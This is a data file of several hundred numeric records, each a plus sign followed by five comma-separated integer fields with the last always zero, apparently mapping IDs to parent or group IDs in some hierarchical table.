+12498,11687,11780,12498,0 +12499,11687,11781,12499,0 +12500,11687,11782,12500,0 +12501,11687,11782,12501,0 +12502,11687,11782,12502,0 +12503,11687,11782,12503,0 +12504,11687,11783,12504,0 +12505,11687,11783,12505,0 +12506,11687,11784,12506,0 +12507,11687,11785,12507,0 +12508,11687,11786,12508,0 +12509,11688,11787,12509,0 +12510,11688,11788,12510,0 +12511,11688,11789,12511,0 +12512,11688,11790,12512,0 +12513,11688,11791,12513,0 +12514,11688,11792,12514,0 +12515,11688,11793,12515,0 +12516,11688,11794,12516,0 +12517,11688,11795,12517,0 +12518,11689,11796,12518,0 +12519,11689,11796,12519,0 +12520,11689,11796,12520,0 +12521,11689,11796,12521,0 +12522,11689,11796,12522,0 +12523,11689,11796,12523,0 +12524,11689,11796,12524,0 +12525,11689,11796,12525,0 +12526,11689,11796,12526,0 +12527,11689,11796,12527,0 +12528,11689,11797,12528,0 +12529,11689,11797,12529,0 +12530,11689,11797,12530,0 +12531,11689,11797,12531,0 +12532,11689,11797,12532,0 +12533,11689,11797,12533,0 +12534,11689,11797,12534,0 +12535,11689,11797,12535,0 +12536,11689,11797,12536,0 +12537,11689,11797,12537,0 +12538,11689,11797,12538,0 +12539,11689,11797,12539,0 +12540,11689,11797,12540,0 +12541,11689,11797,12541,0 +12542,11689,11797,12542,0 +12543,11689,11797,12543,0 +12544,11689,11798,12544,0 +12545,11689,11798,12545,0 +12546,11689,11798,12546,0 +12547,11689,11798,12547,0 +12548,11689,11798,12548,0 +12549,11689,11798,12549,0 +12550,11689,11798,12550,0 +12551,11689,11798,12551,0 +12552,11689,11798,12552,0 +12553,11689,11798,12553,0 +12554,11689,11798,12554,0 +12555,11689,11798,12555,0 +12556,11689,11798,12556,0 +12557,11689,11798,12557,0 +12558,11689,11798,12558,0 +12559,11689,11798,12559,0 +12560,11689,11798,12560,0 +12561,11689,11798,12561,0 +12562,11689,11798,12562,0 +12563,11689,11798,12563,0 +12564,11689,11798,12564,0 +12565,11689,11798,12565,0 +12566,11689,11798,12566,0 +12567,11689,11798,12567,0 +12568,11689,11798,12568,0 +12569,11689,11798,12569,0 +12570,11689,11798,12570,0 +12571,11689,11799,12571,0 +12572,11689,11799,12572,0 +12573,11689,11799,12573,0 +12574,11689,11799,12574,0 +12575,11689,11799,12575,0 +12576,11689,11799,12576,0 +12577,11689,11799,12577,0 +12578,11689,11799,12578,0 +12579,11689,11799,12579,0 +12580,11689,11799,12580,0 +12581,11689,11799,12581,0 +12582,11689,11799,12582,0 +12583,11689,11799,12583,0 +12584,11689,11799,12584,0 +12585,11689,11799,12585,0 +12586,11689,11800,12586,0 +12587,11689,11800,12587,0 +12588,11689,11800,12588,0 +12589,11689,11800,12589,0 +12590,11689,11800,12590,0 +12591,11689,11800,12591,0 +12592,11689,11800,12592,0 +12593,11689,11800,12593,0 +12594,11689,11800,12594,0 +12595,11689,11800,12595,0 +12596,11689,11800,12596,0 +12597,11689,11800,12597,0 +12598,11689,11800,12598,0 +12599,11689,11800,12599,0 +13780,13176,13179,13780,0 +13781,13176,13179,13781,0 +13782,13176,13179,13782,0 +13783,13176,13179,13783,0 +13784,13176,13179,13784,0 +13785,13176,13179,13785,0 +13786,13176,13179,13786,0 +13787,13176,13179,13787,0 +13788,13176,13179,13788,0 +13789,13176,13179,13789,0 +13790,13176,13179,13790,0 +13791,13176,13179,13791,0 +13792,13176,13179,13792,0 +13793,13176,13179,13793,0 +13794,13176,13179,13794,0 +13795,13176,13179,13795,0 +13836,13176,13181,13836,0 +13837,13176,13181,13837,0 +19578,13177,19577,19578,0 +19579,13177,19577,19579,0 +19580,13177,19577,19580,0 +19581,13177,19577,19581,0 +19582,13177,19577,19582,0 +19583,13177,19577,19583,0 +19584,13177,19577,19584,0 +19585,13177,19577,19585,0 +19586,13177,19577,19586,0 +19587,13177,19577,19587,0 +19588,13177,19577,19588,0 +19589,13177,19577,19589,0 +19590,13177,19577,19590,0 +19591,13177,19577,19591,0 +19593,13177,19592,19593,0 +19594,13177,19592,19594,0 +19595,13177,19592,19595,0 +19596,13177,19592,19596,0 +19597,13177,19592,19597,0 +19598,13177,19592,19598,0 +19599,13177,19592,19599,0 +19600,13177,19592,19600,0 +19601,13177,19592,19601,0 +19602,13177,19592,19602,0 +19603,13177,19592,19603,0 +19604,13177,19592,19604,0 +19605,13177,19592,19605,0 +19606,13177,19592,19606,0 +19607,13177,19592,19607,0 +19608,13177,19592,19608,0 +19609,13177,19592,19609,0 +19610,13177,19592,19610,0 +19611,13177,19592,19611,0 +19612,13177,19592,19612,0 +19613,13177,19592,19613,0 +19614,13177,19592,19614,0 +19615,13177,19592,19615,0 +19616,13177,19592,19616,0 +19617,13177,19592,19617,0 +19618,13177,19592,19618,0 +19619,13177,19592,19619,0 +19620,13177,19592,19620,0 +19621,13177,19592,19621,0 +19622,13177,19592,19622,0 +19623,13177,19592,19623,0 +19624,13177,19592,19624,0 +19625,13177,19592,19625,0 +19626,13177,19592,19626,0 +19627,13177,19592,19627,0 +19628,13177,19592,19628,0 +19629,13177,19592,19629,0 +19630,13177,19592,19630,0 +19631,13177,19592,19631,0 +19632,13177,19592,19632,0 +19633,13177,19592,19633,0 +19634,13177,19592,19634,0 +19635,13177,19592,19635,0 +19636,13177,19592,19636,0 +19637,13177,19592,19637,0 +19638,13177,19592,19638,0 +19639,13177,19592,19639,0 +19640,13177,19592,19640,0 +19641,13177,19592,19641,0 +19642,13177,19592,19642,0 +19643,13177,19592,19643,0 +19644,13177,19592,19644,0 +19645,13177,19592,19645,0 +19646,13177,19592,19646,0 +19647,13177,19592,19647,0 +19648,13177,19592,19648,0 +19649,13177,19592,19649,0 +19650,13177,19592,19650,0 +19651,13177,19592,19651,0 +19652,13177,19592,19652,0 +19653,13177,19592,19653,0 +19654,13177,19592,19654,0 +19655,13177,19592,19655,0 +19656,13177,19592,19656,0 +19657,13177,19592,19657,0 +19658,13177,19592,19658,0 +19659,13177,19592,19659,0 +19660,13177,19592,19660,0 +19661,13177,19592,19661,0 +19662,13177,19592,19662,0 +19663,13177,19592,19663,0 +19664,13177,19592,19664,0 +19665,13177,19592,19665,0 +19666,13177,19592,19666,0 +19667,13177,19592,19667,0 +19668,13177,19592,19668,0 +19669,13177,19592,19669,0 +19670,13177,19592,19670,0 +19671,13177,19592,19671,0 +19673,13177,19672,19673,0 +19674,13177,19672,19674,0 +19675,13177,19672,19675,0 +19676,13177,19672,19676,0 +19677,13177,19672,19677,0 +19678,13177,19672,19678,0 +19679,13177,19672,19679,0 +19680,13177,19672,19680,0 +19681,13177,19672,19681,0 +19682,13177,19672,19682,0 +19683,13177,19672,19683,0 +19684,13177,19672,19684,0 +19685,13177,19672,19685,0 +19686,13177,19672,19686,0 +19687,13177,19672,19687,0 +19688,13177,19672,19688,0 +19689,13177,19672,19689,0 +19690,13177,19672,19690,0 +19691,13177,19672,19691,0 +19692,13177,19672,19692,0 +19693,13177,19672,19693,0 +19694,13177,19672,19694,0 +19695,13177,19672,19695,0 +19696,13177,19672,19696,0 +19697,13177,19672,19697,0 +19698,13177,19672,19698,0 +19699,13177,19672,19699,0 +19700,13177,19672,19700,0 +19701,13177,19672,19701,0 +19702,13177,19672,19702,0 +19703,13177,19672,19703,0 +19705,13177,19704,19705,0 +19706,13177,19704,19706,0 +19707,13177,19704,19707,0 +19708,13177,19704,19708,0 +19709,13177,19704,19709,0 +19710,13177,19704,19710,0 +19711,13177,19704,19711,0 +19712,13177,19704,19712,0 +19713,13177,19704,19713,0 +19714,13177,19704,19714,0 +19715,13177,19704,19715,0 +19716,13177,19704,19716,0 +19717,13177,19704,19717,0 +19718,13177,19704,19718,0 +19719,13177,19704,19719,0 +19720,13177,19704,19720,0 +19721,13177,19704,19721,0 +19722,13177,19704,19722,0 +19723,13177,19704,19723,0 +19724,13177,19704,19724,0 +19725,13177,19704,19725,0 +19726,13177,19704,19726,0 +19727,13177,19704,19727,0 +19728,13177,19704,19728,0 +19729,13177,19704,19729,0 +19730,13177,19704,19730,0 +19731,13177,19704,19731,0 +19732,13177,19704,19732,0 +19733,13177,19704,19733,0 +19734,13177,19704,19734,0 +19735,13177,19704,19735,0 +19736,13177,19704,19736,0 +19737,13177,19704,19737,0 +19738,13177,19704,19738,0 +19739,13177,19704,19739,0 +19740,13177,19704,19740,0 +19741,13177,19704,19741,0 +19742,13177,19704,19742,0 +19743,13177,19704,19743,0 +19744,13177,19704,19744,0 +19746,13177,19745,19746,0 +19747,13177,19745,19747,0 +19748,13177,19745,19748,0 +19749,13177,19745,19749,0 +19750,13177,19745,19750,0 +19751,13177,19745,19751,0 +19752,13177,19745,19752,0 +19753,13177,19745,19753,0 +19754,13177,19745,19754,0 +19755,13177,19745,19755,0 +19756,13177,19745,19756,0 +19757,13177,19745,19757,0 +19758,13177,19745,19758,0 +19759,13177,19745,19759,0 +19760,13177,19745,19760,0 +19761,13177,19745,19761,0 +19762,13177,19745,19762,0 +19763,13177,19745,19763,0 +19764,13177,19745,19764,0 +19765,13177,19745,19765,0 +19766,13177,19745,19766,0 +19767,13177,19745,19767,0 +19768,13177,19745,19768,0 +19769,13177,19745,19769,0 +19770,13177,19745,19770,0 +19771,13177,19745,19771,0 +19772,13177,19745,19772,0 +19773,13177,19745,19773,0 +19774,13177,19745,19774,0 +19775,13177,19745,19775,0 +19776,13177,19745,19776,0 +19777,13177,19745,19777,0 +19778,13177,19745,19778,0 +19779,13177,19745,19779,0 +19780,13177,19745,19780,0 +19782,13177,19781,19782,0 +19783,13177,19781,19783,0 +19784,13177,19781,19784,0 +19785,13177,19781,19785,0 +19786,13177,19781,19786,0 +19787,13177,19781,19787,0 +19788,13177,19781,19788,0 +19789,13177,19781,19789,0 +19790,13177,19781,19790,0 +19791,13177,19781,19791,0 +19792,13177,19781,19792,0 +19793,13177,19781,19793,0 +19794,13177,19781,19794,0 +19795,13177,19781,19795,0 +19796,13177,19781,19796,0 +19797,13177,19781,19797,0 +19798,13177,19781,19798,0 +19799,13177,19781,19799,0 +19800,13177,19781,19800,0 +19801,13177,19781,19801,0 +19802,13177,19781,19802,0 +19803,13177,19781,19803,0 +19804,13177,19781,19804,0 +19805,13177,19781,19805,0 +19806,13177,19781,19806,0 +19807,13177,19781,19807,0 +19808,13177,19781,19808,0 +19809,13177,19781,19809,0 +19810,13177,19781,19810,0 +19811,13177,19781,19811,0 +19812,13177,19781,19812,0 +19813,13177,19781,19813,0 +19814,13177,19781,19814,0 +19815,13177,19781,19815,0 +19816,13177,19781,19816,0 +19817,13177,19781,19817,0 +19819,13177,19818,19819,0 +19820,13177,19818,19820,0 +19821,13177,19818,19821,0 +19822,13177,19818,19822,0 +19823,13177,19818,19823,0 +19824,13177,19818,19824,0 +19825,13177,19818,19825,0 +19826,13177,19818,19826,0 +19827,13177,19818,19827,0 +19828,13177,19818,19828,0 +19829,13177,19818,19829,0 +19830,13177,19818,19830,0 +19831,13177,19818,19831,0 +19832,13177,19818,19832,0 +19833,13177,19818,19833,0 +19834,13177,19818,19834,0 +19835,13177,19818,19835,0 +19836,13177,19818,19836,0 +19837,13177,19818,19837,0 +19838,13177,19818,19838,0 +19840,13177,19839,19840,0 +19842,13177,19841,19842,0 +19843,13177,19841,19843,0 +19844,13177,19841,19844,0 +19845,13177,19841,19845,0 +19846,13177,19841,19846,0 +19847,13177,19841,19847,0 +19848,13177,19841,19848,0 +19849,13177,19841,19849,0 +19850,13177,19841,19850,0 +19851,13177,19841,19851,0 +19852,13177,19841,19852,0 +19853,13177,19841,19853,0 +19854,13177,19841,19854,0 +19855,13177,19841,19855,0 +19856,13177,19841,19856,0 +19857,13177,19841,19857,0 +19858,13177,19841,19858,0 +19859,13177,19841,19859,0 +19860,13177,19841,19860,0 +19861,13177,19841,19861,0 +19862,13177,19841,19862,0 +19863,13177,19841,19863,0 +19864,13177,19841,19864,0 +19865,13177,19841,19865,0 +19866,13177,19841,19866,0 +19867,13177,19841,19867,0 +19868,13177,19841,19868,0 +19869,13177,19841,19869,0 +19870,13177,19841,19870,0 +19871,13177,19841,19871,0 +19872,13177,19841,19872,0 +19873,13177,19841,19873,0 +19874,13177,19841,19874,0 +19875,13177,19841,19875,0 +19876,13177,19841,19876,0 +19877,13177,19841,19877,0 +19878,13177,19841,19878,0 +19879,13177,19841,19879,0 +19880,13177,19841,19880,0 +19881,13177,19841,19881,0 +19882,13177,19841,19882,0 +19883,13177,19841,19883,0 +19884,13177,19841,19884,0 +19885,13177,19841,19885,0 +19886,13177,19841,19886,0 +19887,13177,19841,19887,0 +19888,13177,19841,19888,0 +19889,13177,19841,19889,0 +19890,13177,19841,19890,0 +19891,13177,19841,19891,0 +19892,13177,19841,19892,0 +19893,13177,19841,19893,0 +19894,13177,19841,19894,0 +19895,13177,19841,19895,0 +19896,13177,19841,19896,0 +19897,13177,19841,19897,0 +19898,13177,19841,19898,0 +19899,13177,19841,19899,0 +19900,13177,19841,19900,0 +19901,13177,19841,19901,0 +19902,13177,19841,19902,0 +19903,13177,19841,19903,0 +19904,13177,19841,19904,0 +19905,13177,19841,19905,0 +19906,13177,19841,19906,0 +19907,13177,19841,19907,0 +19908,13177,19841,19908,0 +19909,13177,19841,19909,0 +19910,13177,19841,19910,0 +19911,13177,19841,19911,0 +19912,13177,19841,19912,0 +19913,13177,19841,19913,0 +19914,13177,19841,19914,0 +19915,13177,19841,19915,0 +19916,13177,19841,19916,0 +19917,13177,19841,19917,0 +19918,13177,19841,19918,0 +19919,13177,19841,19919,0 +19920,13177,19841,19920,0 +19921,13177,19841,19921,0 +19922,13177,19841,19922,0 +19923,13177,19841,19923,0 +19924,13177,19841,19924,0 +19925,13177,19841,19925,0 +19926,13177,19841,19926,0 +19927,13177,19841,19927,0 +19928,13177,19841,19928,0 +19929,13177,19841,19929,0 +19930,13177,19841,19930,0 +19931,13177,19841,19931,0 +19932,13177,19841,19932,0 +19933,13177,19841,19933,0 +19934,13177,19841,19934,0 +19935,13177,19841,19935,0 +19936,13177,19841,19936,0 +19937,13177,19841,19937,0 +19939,13177,19938,19939,0 +19940,13177,19938,19940,0 +19941,13177,19938,19941,0 +19942,13177,19938,19942,0 +19943,13177,19938,19943,0 +19944,13177,19938,19944,0 +19945,13177,19938,19945,0 +19946,13177,19938,19946,0 +19947,13177,19938,19947,0 +19948,13177,19938,19948,0 +19949,13177,19938,19949,0 +19950,13177,19938,19950,0 +19951,13177,19938,19951,0 +19952,13177,19938,19952,0 +19953,13177,19938,19953,0 +19954,13177,19938,19954,0 +19955,13177,19938,19955,0 +19956,13177,19938,19956,0 +19957,13177,19938,19957,0 +19958,13177,19938,19958,0 +19959,13177,19938,19959,0 +19960,13177,19938,19960,0 +19961,13177,19938,19961,0 +19962,13177,19938,19962,0 +19963,13177,19938,19963,0 +19964,13177,19938,19964,0 +19965,13177,19938,19965,0 +19966,13177,19938,19966,0 +19967,13177,19938,19967,0 +19968,13177,19938,19968,0 +19969,13177,19938,19969,0 +19970,13177,19938,19970,0 +19971,13177,19938,19971,0 +19972,13177,19938,19972,0 +19973,13177,19938,19973,0 +19974,13177,19938,19974,0 +19975,13177,19938,19975,0 +19976,13177,19938,19976,0 +19977,13177,19938,19977,0 +19978,13177,19938,19978,0 +19980,13177,19979,19980,0 +19981,13177,19979,19981,0 +19982,13177,19979,19982,0 +19983,13177,19979,19983,0 +19984,13177,19979,19984,0 +19985,13177,19979,19985,0 +19986,13177,19979,19986,0 +19987,13177,19979,19987,0 +19988,13177,19979,19988,0 +19989,13177,19979,19989,0 +19990,13177,19979,19990,0 +19991,13177,19979,19991,0 +19992,13177,19979,19992,0 +19993,13177,19979,19993,0 +19994,13177,19979,19994,0 +19995,13177,19979,19995,0 +19996,13177,19979,19996,0 +19997,13177,19979,19997,0 +19998,13177,19979,19998,0 +19999,13177,19979,19999,0 +20000,13177,19979,20000,0 +20001,13177,19979,20001,0 +20003,13177,20002,20003,0 +20004,13177,20002,20004,0 +20005,13177,20002,20005,0 +20006,13177,20002,20006,0 +20007,13177,20002,20007,0 +20008,13177,20002,20008,0 +20009,13177,20002,20009,0 +20010,13177,20002,20010,0 +20011,13177,20002,20011,0 +20012,13177,20002,20012,0 +20013,13177,20002,20013,0 +20014,13177,20002,20014,0 +20015,13177,20002,20015,0 +20016,13177,20002,20016,0 +20018,13177,20017,20018,0 +20019,13177,20017,20019,0 +20020,13177,20017,20020,0 +20021,13177,20017,20021,0 +20022,13177,20017,20022,0 +20023,13177,20017,20023,0 +20024,13177,20017,20024,0 +20025,13177,20017,20025,0 +20026,13177,20017,20026,0 +20027,13177,20017,20027,0 +20028,13177,20017,20028,0 +20029,13177,20017,20029,0 +20030,13177,20017,20030,0 +20031,13177,20017,20031,0 +20032,13177,20017,20032,0 +20033,13177,20017,20033,0 +20034,13177,20017,20034,0 +20035,13177,20017,20035,0 +20036,13177,20017,20036,0 +20037,13177,20017,20037,0 +20038,13177,20017,20038,0 +20039,13177,20017,20039,0 +20040,13177,20017,20040,0 +14557,13178,13777,14557,0 +14555,13178,13778,14555,0 +14556,13178,13778,14556,0 +14558,13178,13779,14558,0 +14559,13178,13779,14559,0 +14707,14697,14698,14707,0 +14708,14697,14698,14708,0 +14709,14697,14698,14709,0 +14710,14697,14698,14710,0 +14711,14697,14698,14711,0 +14712,14697,14698,14712,0 +14713,14697,14698,14713,0 +14722,14697,14699,14722,0 +14723,14697,14700,14723,0 +14724,14697,14700,14724,0 +14725,14697,14700,14725,0 +14726,14697,14701,14726,0 +14727,14697,14702,14727,0 +14728,14697,14702,14728,0 +14729,14697,14703,14729,0 +14730,14697,14704,14730,0 +14731,14697,14705,14731,0 +14732,14697,14705,14732,0 +14733,14697,14705,14733,0 +14734,14697,14705,14734,0 +14735,14697,14705,14735,0 +14736,14697,14705,14736,0 +14737,14697,14705,14737,0 +14738,14697,14705,14738,0 +14739,14697,14705,14739,0 +14714,14697,14706,14714,0 +14715,14697,14706,14715,0 +14716,14697,14706,14716,0 +14717,14697,14706,14717,0 +14718,14697,14706,14718,0 +14719,14697,14706,14719,0 +14720,14697,14706,14720,0 +14721,14697,14706,14721,0 +20136,14697,20135,20136,0 +14771,14740,14742,14771,0 +14772,14740,14742,14772,0 +14773,14740,14742,14773,0 +14774,14740,14742,14774,0 +14775,14740,14742,14775,0 +14776,14740,14742,14776,0 +14777,14740,14743,14777,0 +14778,14740,14743,14778,0 +14779,14740,14743,14779,0 +14780,14740,14743,14780,0 +14781,14740,14743,14781,0 +14782,14740,14743,14782,0 +14783,14740,14743,14783,0 +14784,14740,14743,14784,0 +14785,14740,14743,14785,0 +14786,14740,14743,14786,0 +14787,14740,14743,14787,0 +14788,14740,14744,14788,0 +14789,14740,14744,14789,0 +14790,14740,14744,14790,0 +14791,14740,14744,14791,0 +14792,14740,14744,14792,0 +14793,14740,14744,14793,0 +14794,14740,14744,14794,0 +14795,14740,14744,14795,0 +14796,14740,14744,14796,0 +14797,14740,14744,14797,0 +14798,14740,14744,14798,0 +14799,14740,14744,14799,0 +14800,14740,14744,14800,0 +14801,14740,14745,14801,0 +20375,14740,14745,20375,0 +14770,14740,14746,14770,0 +14802,14740,14746,14802,0 +14803,14740,14746,14803,0 +14804,14740,14746,14804,0 +14805,14740,14746,14805,0 +14806,14740,14746,14806,0 +14807,14740,14747,14807,0 +14808,14740,14747,14808,0 +14809,14740,14747,14809,0 +14810,14740,14747,14810,0 +14811,14740,14747,14811,0 +14812,14740,14747,14812,0 +14813,14740,14747,14813,0 +14814,14740,14747,14814,0 +14815,14740,14747,14815,0 +14816,14740,14747,14816,0 +14817,14740,14747,14817,0 +14818,14740,14747,14818,0 +14819,14740,14747,14819,0 +14820,14740,14747,14820,0 +14821,14740,14747,14821,0 +14822,14740,14747,14822,0 +14823,14740,14747,14823,0 +14824,14740,14747,14824,0 +14825,14740,14747,14825,0 +14826,14740,14747,14826,0 +14827,14740,14747,14827,0 +14828,14740,14747,14828,0 +20088,14740,14747,20088,0 +14829,14740,14748,14829,0 +14830,14740,14748,14830,0 +14831,14740,14748,14831,0 +14832,14740,14748,14832,0 +14834,14740,14748,14834,0 +14835,14740,14748,14835,0 +14836,14740,14748,14836,0 +14837,14740,14748,14837,0 +14838,14740,14748,14838,0 +14839,14740,14749,14839,0 +14840,14740,14749,14840,0 +14841,14740,14749,14841,0 +14842,14740,14749,14842,0 +14843,14740,14749,14843,0 +14844,14740,14749,14844,0 +14845,14740,14749,14845,0 +14846,14740,14749,14846,0 +14847,14740,14749,14847,0 +14848,14740,14749,14848,0 +14849,14740,14749,14849,0 +14850,14740,14749,14850,0 +14851,14740,14749,14851,0 +14852,14740,14749,14852,0 +14853,14740,14749,14853,0 +14854,14740,14749,14854,0 +14855,14740,14749,14855,0 +14856,14740,14749,14856,0 +14857,14740,14749,14857,0 +14858,14740,14749,14858,0 +14859,14740,14749,14859,0 +14860,14740,14750,14860,0 +14861,14740,14750,14861,0 +14862,14740,14750,14862,0 +14863,14740,14750,14863,0 +14864,14740,14751,14864,0 +14865,14740,14752,14865,0 +14866,14740,14752,14866,0 +14867,14740,14752,14867,0 +14868,14740,14752,14868,0 +14869,14740,14752,14869,0 +14870,14740,14753,14870,0 +14871,14740,14753,14871,0 +14872,14740,14753,14872,0 +14873,14740,14753,14873,0 +14874,14740,14753,14874,0 +14875,14740,14753,14875,0 +14876,14740,14753,14876,0 +14877,14740,14753,14877,0 +14878,14740,14753,14878,0 +14879,14740,14754,14879,0 +14880,14740,14754,14880,0 +14881,14740,14754,14881,0 +14882,14740,14754,14882,0 +14883,14740,14754,14883,0 +14884,14740,14754,14884,0 +14885,14740,14754,14885,0 +14886,14740,14754,14886,0 +14887,14740,14754,14887,0 +14888,14740,14754,14888,0 +14889,14740,14754,14889,0 +14890,14740,14754,14890,0 +14897,14740,14755,14897,0 +14898,14740,14755,14898,0 +14899,14740,14755,14899,0 +14900,14740,14755,14900,0 +14901,14740,14755,14901,0 +14902,14740,14755,14902,0 +14903,14740,14755,14903,0 +14904,14740,14755,14904,0 +14905,14740,14755,14905,0 +14906,14740,14755,14906,0 +14907,14740,14755,14907,0 +14908,14740,14755,14908,0 +14909,14740,14755,14909,0 +14912,14740,14756,14912,0 +14913,14740,14756,14913,0 +14914,14740,14756,14914,0 +14915,14740,14756,14915,0 +14916,14740,14756,14916,0 +14917,14740,14756,14917,0 +14918,14740,14756,14918,0 +14919,14740,14757,14919,0 +14920,14740,14757,14920,0 +14921,14740,14757,14921,0 +14922,14740,14757,14922,0 +14923,14740,14757,14923,0 +14924,14740,14757,14924,0 +14925,14740,14757,14925,0 +14926,14740,14757,14926,0 +14927,14740,14758,14927,0 +14928,14740,14758,14928,0 +14929,14740,14758,14929,0 +14930,14740,14758,14930,0 +14931,14740,14758,14931,0 +14949,14933,14934,14949,0 +14950,14933,14935,14950,0 +20513,14933,14935,20513,0 +20514,14933,14935,20514,0 +14951,14933,14936,14951,0 +14952,14933,14937,14952,0 +14953,14933,14938,14953,0 +14954,14933,14939,14954,0 +14955,14933,14940,14955,0 +14956,14933,14941,14956,0 +14957,14933,14942,14957,0 +14958,14933,14943,14958,0 +14959,14933,14944,14959,0 +14960,14933,14944,14960,0 +14961,14933,14944,14961,0 +14962,14933,14945,14962,0 +14963,14933,14946,14963,0 +14964,14933,14947,14964,0 +14965,14933,14948,14965,0 +15000,14966,14967,15000,0 +15001,14966,14968,15001,0 +15002,14966,14969,15002,0 +15003,14966,14970,15003,0 +15004,14966,14970,15004,0 +15005,14966,14971,15005,0 +15006,14966,14971,15006,0 +15007,14966,14971,15007,0 +15008,14966,14971,15008,0 +15009,14966,14971,15009,0 +15010,14966,14972,15010,0 +15011,14966,14973,15011,0 +15012,14966,14973,15012,0 +15013,14966,14973,15013,0 +15014,14966,14973,15014,0 +15015,14966,14973,15015,0 +15016,14966,14973,15016,0 +15017,14966,14973,15017,0 +15018,14966,14973,15018,0 +15019,14966,14974,15019,0 +15020,14966,14974,15020,0 +15021,14966,14974,15021,0 +15022,14966,14974,15022,0 +15023,14966,14974,15023,0 +15024,14966,14974,15024,0 +15025,14966,14974,15025,0 +15026,14966,14975,15026,0 +15027,14966,14976,15027,0 +15028,14966,14976,15028,0 +15029,14966,14976,15029,0 +15030,14966,14976,15030,0 +15031,14966,14977,15031,0 +15032,14966,14977,15032,0 +15033,14966,14977,15033,0 +15034,14966,14977,15034,0 +15035,14966,14977,15035,0 +15036,14966,14977,15036,0 +15037,14966,14977,15037,0 +15038,14966,14977,15038,0 +15039,14966,14977,15039,0 +15040,14966,14977,15040,0 +15041,14966,14977,15041,0 +15042,14966,14978,15042,0 +15043,14966,14978,15043,0 +15044,14966,14979,15044,0 +15045,14966,14980,15045,0 +15046,14966,14981,15046,0 +15047,14966,14981,15047,0 +15048,14966,14982,15048,0 +15049,14966,14983,15049,0 +15050,14966,14984,15050,0 +15051,14966,14985,15051,0 +15052,14966,14986,15052,0 +15053,14966,14987,15053,0 +15054,14966,14987,15054,0 +15055,14966,14987,15055,0 +15056,14966,14987,15056,0 +15057,14966,14987,15057,0 +15058,14966,14987,15058,0 +15059,14966,14987,15059,0 +15060,14966,14987,15060,0 +15061,14966,14988,15061,0 +15062,14966,14989,15062,0 +15063,14966,14990,15063,0 +15064,14966,14991,15064,0 +15065,14966,14992,15065,0 +15066,14966,14993,15066,0 +15067,14966,14993,15067,0 +15068,14966,14994,15068,0 +15069,14966,14995,15069,0 +15070,14966,14995,15070,0 +15071,14966,14995,15071,0 +15072,14966,14995,15072,0 +15073,14966,14995,15073,0 +15074,14966,14995,15074,0 +15075,14966,14996,15075,0 +15076,14966,14997,15076,0 +15077,14966,14998,15077,0 +15078,14966,14999,15078,0 +15079,14966,14999,15079,0 +15080,14966,14999,15080,0 +15081,14966,14999,15081,0 +15082,14966,14999,15082,0 +15117,15083,15084,15117,0 +15118,15083,15084,15118,0 +15119,15083,15084,15119,0 +15120,15083,15084,15120,0 +15121,15083,15084,15121,0 +15122,15083,15084,15122,0 +15123,15083,15084,15123,0 +15124,15083,15084,15124,0 +15125,15083,15084,15125,0 +15126,15083,15084,15126,0 +15127,15083,15084,15127,0 +15128,15083,15084,15128,0 +15129,15083,15085,15129,0 +15130,15083,15085,15130,0 +15131,15083,15085,15131,0 +15132,15083,15086,15132,0 +15133,15083,15086,15133,0 +15134,15083,15086,15134,0 +15135,15083,15086,15135,0 +15136,15083,15086,15136,0 +15137,15083,15086,15137,0 +15138,15083,15086,15138,0 +15139,15083,15086,15139,0 +15140,15083,15086,15140,0 +15141,15083,15086,15141,0 +15142,15083,15086,15142,0 +15143,15083,15086,15143,0 +15144,15083,15086,15144,0 +15145,15083,15086,15145,0 +15146,15083,15086,15146,0 +15147,15083,15087,15147,0 +15148,15083,15087,15148,0 +15149,15083,15087,15149,0 +15150,15083,15087,15150,0 +15151,15083,15087,15151,0 +15152,15083,15087,15152,0 +15153,15083,15087,15153,0 +15154,15083,15087,15154,0 +15155,15083,15087,15155,0 +15156,15083,15088,15156,0 +15157,15083,15088,15157,0 +15158,15083,15088,15158,0 +15159,15083,15089,15159,0 +15160,15083,15089,15160,0 +15161,15083,15089,15161,0 +15162,15083,15089,15162,0 +15165,15083,15090,15165,0 +15166,15083,15090,15166,0 +15167,15083,15090,15167,0 +15168,15083,15090,15168,0 +15169,15083,15090,15169,0 +15170,15083,15090,15170,0 +15171,15083,15091,15171,0 +15172,15083,15092,15172,0 +15173,15083,15092,15173,0 +15174,15083,15092,15174,0 +15175,15083,15093,15175,0 +15176,15083,15093,15176,0 +15177,15083,15093,15177,0 +15178,15083,15093,15178,0 +15179,15083,15093,15179,0 +15180,15083,15093,15180,0 +15181,15083,15094,15181,0 +15182,15083,15094,15182,0 +15183,15083,15094,15183,0 +15184,15083,15094,15184,0 +15185,15083,15094,15185,0 +15186,15083,15095,15186,0 +15187,15083,15095,15187,0 +15188,15083,15095,15188,0 +15189,15083,15096,15189,0 +15190,15083,15096,15190,0 +15191,15083,15096,15191,0 +15192,15083,15096,15192,0 +15193,15083,15096,15193,0 +15194,15083,15096,15194,0 +15195,15083,15097,15195,0 +15196,15083,15097,15196,0 +15197,15083,15097,15197,0 +15198,15083,15097,15198,0 +15199,15083,15097,15199,0 +15200,15083,15097,15200,0 +15201,15083,15097,15201,0 +15202,15083,15097,15202,0 +15203,15083,15097,15203,0 +15204,15083,15097,15204,0 +15205,15083,15097,15205,0 +15206,15083,15097,15206,0 +15207,15083,15097,15207,0 +15208,15083,15097,15208,0 +15209,15083,15097,15209,0 +15210,15083,15097,15210,0 +15211,15083,15098,15211,0 +15212,15083,15098,15212,0 +15213,15083,15098,15213,0 +15214,15083,15098,15214,0 +15215,15083,15098,15215,0 +15216,15083,15098,15216,0 +15217,15083,15098,15217,0 +15218,15083,15099,15218,0 +15219,15083,15100,15219,0 +15220,15083,15100,15220,0 +15221,15083,15100,15221,0 +15222,15083,15100,15222,0 +15223,15083,15101,15223,0 +15224,15083,15101,15224,0 +15225,15083,15101,15225,0 +15226,15083,15101,15226,0 +15227,15083,15101,15227,0 +15228,15083,15101,15228,0 +15229,15083,15101,15229,0 +15230,15083,15101,15230,0 +15231,15083,15101,15231,0 +15232,15083,15101,15232,0 +15233,15083,15102,15233,0 +15234,15083,15103,15234,0 +15235,15083,15104,15235,0 +15236,15083,15104,15236,0 +15237,15083,15104,15237,0 +15238,15083,15104,15238,0 +15239,15083,15104,15239,0 +15240,15083,15104,15240,0 +15241,15083,15104,15241,0 +15242,15083,15104,15242,0 +15243,15083,15104,15243,0 +15244,15083,15104,15244,0 +15245,15083,15105,15245,0 +15246,15083,15105,15246,0 +15247,15083,15105,15247,0 +15248,15083,15105,15248,0 +15249,15083,15105,15249,0 +15250,15083,15105,15250,0 +15251,15083,15105,15251,0 